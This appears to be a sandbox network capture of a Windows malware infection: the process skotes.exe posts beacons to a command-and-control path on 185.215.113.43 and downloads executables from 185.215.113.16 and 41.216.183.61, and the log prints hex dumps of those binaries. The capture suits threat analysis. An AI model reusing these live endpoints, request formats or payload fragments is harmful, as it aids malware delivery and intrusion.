Oct 31, 2024 03:03:26.999084949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:03:26.999098063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:03:26.999109983 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:03:26.999124050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:03:26.999130964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:03:26.999138117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:03:26.999151945 CET	1236	IN	Data Raw: a9 a5 4a 7b f7 81 4e 6e 8a b4 64 a7 3f cd 0d f3 58 b6 6e 16 6d c2 46 b5 d1 df 35 92 82 31 5c b1 09 e5 32 84 98 b5 31 67 4b 96 4f 3b 6a 9f 39 f9 64 e1 03 96 93 4c c4 6d a7 60 b1 e9 83 dd 99 83 b0 d3 37 0f bb 98 98 71 86 d8 a4 d2 26 3f 58 3d cb ba Data Ascii: J{Nnd?XnmF51\21gKO;j9dLm`7q&?X=p_hHG7G-PQ`^(DG!=l+#WF9IwmnG\]_G-P713L0CP\xG_.HD=_\|=QN`z^t(AygAJtv1
Oct 31, 2024 03:03:26.999166965 CET	984	IN	Data Raw: 92 7b 60 b1 8a ff 93 29 e6 4d 60 b9 5a aa 0f 60 e3 72 fb 3d 00 fe fa 8a 09 ad 33 95 83 60 03 81 c7 56 eb 50 b2 be f3 6f ee 5d 35 7f a4 ba ce ff ba d6 1a 0c 09 aa 60 76 b0 38 d3 63 6d 2f 60 66 8a 23 a3 4e 6a a7 29 3e 28 ca c3 78 cb d5 8a 2f a0 87 Data Ascii: {`)M`Z`r=3`VPo]5`v8cm/`f#Nj)>(x/{qIiVRrx-a!\|4?YWT~U^_~TrIb_McJ!0'HO"\|yE\|;UFWqykpI7_3HKBs8dbQk@q)^\|XdzYdob!w
Oct 31, 2024 03:03:27.007405043 CET	1236	IN	Data Raw: e6 6b 2c 57 5a 69 96 98 87 c8 d7 69 88 92 6b 0c 7e 37 4a 2b 5c 87 9c 85 57 ce 8c 7b 7b 70 16 8e 0c 57 2a a8 0a c8 98 24 70 5b 6a 75 8c a1 f0 63 94 dc 11 0d ab 5f 9c 24 7e 0e c5 12 f4 05 05 0e 4c aa 52 3a e9 00 c5 83 04 d8 d9 db 48 8a 47 79 72 9e Data Ascii: k,WZiik~7J+\W{{pW*$p[juc_$~LR:HGyrm7G`dvt-j:Lxl&Uua07'i='<L+<iPH7lmm@I5X\| ws~Yz+{ljs/o{gkP{F> %0Sop0I\|ad
Oct 31, 2024 03:03:33.213242054 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 03:03:33.493465900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:03:33 GMT Content-Type: application/octet-stream Content-Length: 1928704 Last-Modified: Thu, 31 Oct 2024 02:01:56 GMT Connection: keep-alive ETag: "6722e514-1d6e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L?@WkkLtkL @.rsrc@.idata @ p+@gwpiiybp` 2R@tdmstcssLH@.taggant0L"L@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	63758	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:05.011348963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 03:04:05.929569006 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	63774	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:07.460854053 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 03:04:08.392858982 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 32 37 36 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 38 30 62 35 64 61 39 63 38 34 38 37 65 33 64 34 62 37 64 62 33 30 35 61 61 39 37 64 38 61 39 65 35 66 64 62 64 63 35 36 63 38 36 34 30 34 30 62 32 35 36 66 36 30 32 34 31 35 34 35 30 23 31 30 30 32 37 36 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 37 36 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 37 36 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 1c5 <c>1002763001+++b5937c1a99d5f9d80b5da9c8487e3d4b7db305aa97d8a9e5fdbdc56c864040b256f602415450#1002764001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002765001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002766001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002767001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	63780	41.216.183.61	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:08.402698040 CET	56	OUT	GET /innoinstaller.exe HTTP/1.1 Host: 41.216.183.61
Oct 31, 2024 03:04:09.275439024 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:09 GMT Server: Apache/2.4.62 (Debian) Last-Modified: Tue, 24 Sep 2024 00:33:21 GMT ETag: "1477b0-622d2a7071640" Accept-Ranges: bytes Content-Length: 1341360 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 54 de 22 67 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 08 00 00 a8 13 00 00 a4 00 00 00 00 00 00 6e c7 13 00 00 20 00 00 00 e0 13 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 14 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 c7 13 00 4b 00 00 00 00 e0 13 00 54 a0 00 00 00 00 00 00 00 00 00 00 00 4e 14 00 b0 29 00 00 00 a0 14 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELT"gn @ ` KTN) H.textt `.rsrcT@@.relocL@BPHdM((0 8E681~%986& ~s{:& 8~s%s( ~s{:& 8z&~~.s(0f 8E#z0VMv!>Z8 894 8(o
Oct 31, 2024 03:04:09.275460005 CET	1236	IN	Data Raw: 3a 7a 05 00 00 20 06 00 00 00 38 69 ff ff ff 38 53 04 00 00 20 14 00 00 00 38 5a ff ff ff 14 13 15 20 04 00 00 00 38 4d ff ff ff 00 28 0a 00 00 06 13 15 20 00 00 00 00 7e 73 01 00 04 7b 93 01 00 04 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 Data Ascii: :z 8i8S 8Z 8M( ~s{:& 8E8g& ~s{9& 8E8 8 ~s{Z:& 8 ~s{9& 88
Oct 31, 2024 03:04:09.275474072 CET	324	IN	Data Raw: fa ff ff 26 20 00 00 00 00 38 96 fa ff ff 00 d0 18 00 00 01 28 16 00 00 06 11 0e 11 07 17 6f 0b 00 00 0a 28 0c 00 00 0a 28 01 00 00 2b 28 17 00 00 06 26 20 00 00 00 00 7e 73 01 00 04 7b 69 01 00 04 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 Data Ascii: & 8(o((+(& ~s{i:& 8E8j& ~s{:& 8E83 8*o ~s{u9& 8X ~s{:&
Oct 31, 2024 03:04:09.275485039 CET	1236	IN	Data Raw: 00 00 02 00 00 00 fd 01 00 00 62 02 00 00 5f 04 00 00 63 00 00 00 00 00 00 00 00 00 00 00 7d 05 00 00 5a 00 00 00 d7 05 00 00 37 00 00 00 01 00 00 01 1e 00 28 1e 00 00 06 2a 1e 00 28 0f 00 00 0a 2a 2e 00 fe 09 00 00 28 10 00 00 0a 2a 3a fe 09 00 Data Ascii: b_c}Z7((.(:o:oooZooo.(*o.(:o&~
Oct 31, 2024 03:04:09.275558949 CET	1236	IN	Data Raw: 01 00 00 00 7e 73 01 00 04 7b 59 01 00 04 3a 9d ff ff ff 26 20 00 00 00 00 38 92 ff ff ff 1e 02 7b 08 00 00 04 2a 26 7e 09 00 00 04 14 fe 01 2a 00 00 1a 7e 09 00 00 04 2a 00 2e 00 fe 09 00 00 28 1a 00 00 0a 2a 4a fe 09 00 00 fe 09 01 00 fe 09 02 Data Ascii: ~s{Y:& 8{&~~.(Jo%Jo&0 8EN.C8X(6 ~s{9& 8(' 8((i[*(7
Oct 31, 2024 03:04:09.275573015 CET	424	IN	Data Raw: 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 06 00 00 00 2d 00 00 00 05 00 00 00 60 00 00 00 71 00 00 00 70 00 00 00 51 00 00 00 38 28 00 00 00 03 0f 00 28 2a 00 00 0a 54 20 00 00 00 00 7e 73 01 00 04 7b aa 01 00 04 3a c1 ff ff ff 26 20 00 00 00 00 38 Data Ascii: 8E-`qpQ8((T ~s{:& 88? ~s{:& 88 8JXT 8sJX(7(-9 ~s{:J& 8?"(;.(6&~*
Oct 31, 2024 03:04:09.275594950 CET	1236	IN	Data Raw: 00 00 00 26 20 00 00 00 00 38 09 00 00 00 38 cb ff ff ff fe 0c 00 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 2a 13 30 04 00 43 00 00 00 01 00 00 11 02 03 73 c7 05 00 06 28 40 00 00 06 20 00 00 00 00 7e 73 01 00 04 7b 8f 01 00 04 3a 14 00 00 00 Data Ascii: & 88E80Cs(@ ~s{:& 88E80J(Q(R(B ~s{9& 88E8*0Ds(B ~s{t
Oct 31, 2024 03:04:09.275726080 CET	62	IN	Data Raw: 00 12 01 28 32 00 00 06 20 00 00 00 00 7e 73 01 00 04 7b 7b 01 00 04 3a b4 ff ff ff 26 20 00 00 00 00 38 a9 ff ff ff 00 00 00 13 30 06 00 45 00 00 00 00 00 00 00 03 72 63 01 00 70 02 28 Data Ascii: (2 ~s{{:& 80Ercp(
Oct 31, 2024 03:04:09.275737047 CET	1236	IN	Data Raw: 44 00 00 06 8c 06 00 00 01 02 28 43 00 00 06 8c 79 00 00 02 28 57 00 00 06 03 02 28 6a 08 00 06 28 58 00 00 06 03 02 28 6d 08 00 06 6f a5 03 00 06 02 28 6f 08 00 06 28 59 00 00 06 2a 00 00 00 13 30 03 00 4e 00 00 00 06 00 00 11 20 01 00 00 00 fe Data Ascii: D(Cy(W(j(X(mo(o(Y0N 8E8(5 ~s{9& 80P 8E.8)(3 ~s{9& 8
Oct 31, 2024 03:04:09.275747061 CET	162	IN	Data Raw: ff 38 46 00 00 00 20 05 00 00 00 fe 0e 01 00 38 86 ff ff ff 11 00 12 02 28 2f 00 00 0a 02 28 02 01 00 06 73 eb 01 00 06 6f f3 07 00 06 20 00 00 00 00 7e 73 01 00 04 7b 54 01 00 04 39 5d ff ff ff 26 20 00 00 00 00 38 52 ff ff ff 11 02 02 28 6d 08 Data Ascii: 8F 8(/(so ~s{T9]& 8R(m(/(p9 ~s{b9#& 8*(/ 8(j
Oct 31, 2024 03:04:09.281704903 CET	1236	IN	Data Raw: 13 03 20 02 00 00 00 7e 73 01 00 04 7b af 01 00 04 3a e6 fe ff ff 26 20 03 00 00 00 38 db fe ff ff 12 02 23 00 00 00 00 00 00 f0 3f 28 29 00 00 0a 13 02 20 04 00 00 00 fe 0e 01 00 38 b7 fe ff ff 00 22 02 15 28 66 00 00 06 2a 00 00 00 22 02 17 28 Data Ascii: ~s{:& 8#?() 8"(f"(f0b 8E,8'(j ~s{:& 8Zl()(s^*0Ercp(b(a(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	63821	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:15.849874973 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002763001&unit=246122658369
Oct 31, 2024 03:04:16.758721113 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	63827	185.215.113.16	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:16.771362066 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 03:04:17.679455996 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:17 GMT Content-Type: application/octet-stream Content-Length: 3039744 Last-Modified: Thu, 31 Oct 2024 02:01:36 GMT Connection: keep-alive ETag: "6722e500-2e6200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 70 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 31 00 00 04 00 00 9a fe 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJp1@1.@Th@ ~@.rsrc@@.idata @krmeesmj++@ccqtiijz`1:.@.taggant0p1"@.@
Oct 31, 2024 03:04:17.679478884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:17.679490089 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:17.679589987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:17.679663897 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 03:04:17.679672956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0)[.s m
Oct 31, 2024 03:04:17.679723978 CET	1236	IN	Data Raw: 03 e6 76 bb 24 6e 6f f8 30 d8 3d bb fd ea 99 ab 60 77 f7 fd c7 5b 3a 07 f0 cc 04 41 94 9e 2d d1 74 1f 6f 4f 16 c6 bb de b1 f8 be b9 f0 e6 27 50 71 b6 a4 cb 9e 55 34 1a 88 5f 05 54 8a f4 f5 4e fa 30 ce e8 b5 9a 88 0a 66 62 b9 b4 70 e8 80 4d a2 93 Data Ascii: v$no0=`w[:A-toO'PqU4_TN0fbpM6+ K/~;3{\|WJmPR=Ay4z601X+>=wKx)qP[Z)-03al$_%n](!*'zbK%78On
Oct 31, 2024 03:04:17.679735899 CET	424	IN	Data Raw: d7 73 b1 57 f4 47 3d bc fe ee 0c 00 95 e3 2e cf 32 1c 47 5e f0 ed 1f eb 6d 92 3a bc b8 77 1e f8 69 a8 6f d9 8f e0 5d 82 3b 24 57 45 58 33 c7 b4 49 a3 33 02 81 22 95 1f 04 47 83 d1 ee 5b a8 b4 41 83 71 91 1a f2 80 97 25 ae 04 9f 52 6b ff 22 f6 70 Data Ascii: sWG=.2G^m:wio];$WEX3I3"G[Aq%Rk"pn_gm]S]U s!"cp_SC0O<8il1=m"p)@7Rw:T~f{\|D!;K5n'qM?$
Oct 31, 2024 03:04:17.679748058 CET	1236	IN	Data Raw: 53 ab b5 04 2c 0d 12 7c 5a 2b d1 c2 42 9e f8 5b 3b 83 61 34 b0 37 ab 0a 94 04 71 c6 74 f8 77 f8 b5 6c 69 04 94 57 7f 43 cf e3 4c 87 ed 04 59 e9 39 fd b4 32 82 10 ea 5c 0e 5b f0 0d 43 53 07 e5 d3 9c 0d d7 5b dd d4 6c 2e 44 76 dc 27 1f 0e 8a 94 67 Data Ascii: S,\|Z+B[;a47qtwliWCLY92\[CS[l.Dv'gmudO;s*q?m]`W`?`Vzt&bml6_Q7~Mta]%a]sgK(,HTqpT[aqA+4R15'
Oct 31, 2024 03:04:17.679758072 CET	212	IN	Data Raw: 9c 2e 20 db 62 2e 04 69 ca fd 20 ec 83 93 a3 f9 d2 e1 1d d2 28 e8 04 a1 30 df 6c 60 ed 63 b0 11 95 8e 45 c4 97 e0 4d 52 3f 0f fc a3 64 3c f4 a7 c7 5d 88 0a b0 91 fc 92 9c b0 51 7a da 64 25 76 bc 41 cb 59 79 23 b0 64 8a 82 c8 cc f0 79 89 6f da 9c Data Ascii: . b.i (0l`cEMR?d<]Qzd%vAYy#dyoXjQJpeWg&kl9Q!E&0:!,-GixoN<+byxwf\|\r;c!<awTlW
Oct 31, 2024 03:04:17.686264038 CET	1236	IN	Data Raw: 07 64 f7 51 fd 90 c7 6e 52 4c 98 ba 42 61 15 98 72 a1 7d 97 ae f0 63 22 11 03 20 fa 8f 33 28 3f 3a 6b 8c 92 db 64 be d6 72 7a f1 92 50 5e 85 7e 82 46 7d da d4 d4 8f 41 d2 c1 c0 83 31 de 85 6c db 43 be 03 15 dc 84 97 9d e1 fa 5c 83 5d 5e 1e a2 36 Data Ascii: dQnRLBar}c" 3(?:kdrzP^~F}A1lC\]^6xt rq"gko.66^5E&t/g&H~(aI74vzj<+l'8fmWx8{0,4U[tI@c6bJ=n?d:.+?FGq,R:g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	63879	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:26.174985886 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002764001&unit=246122658369
Oct 31, 2024 03:04:27.111236095 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 02:04:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	63886	185.215.113.16	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:27.120117903 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
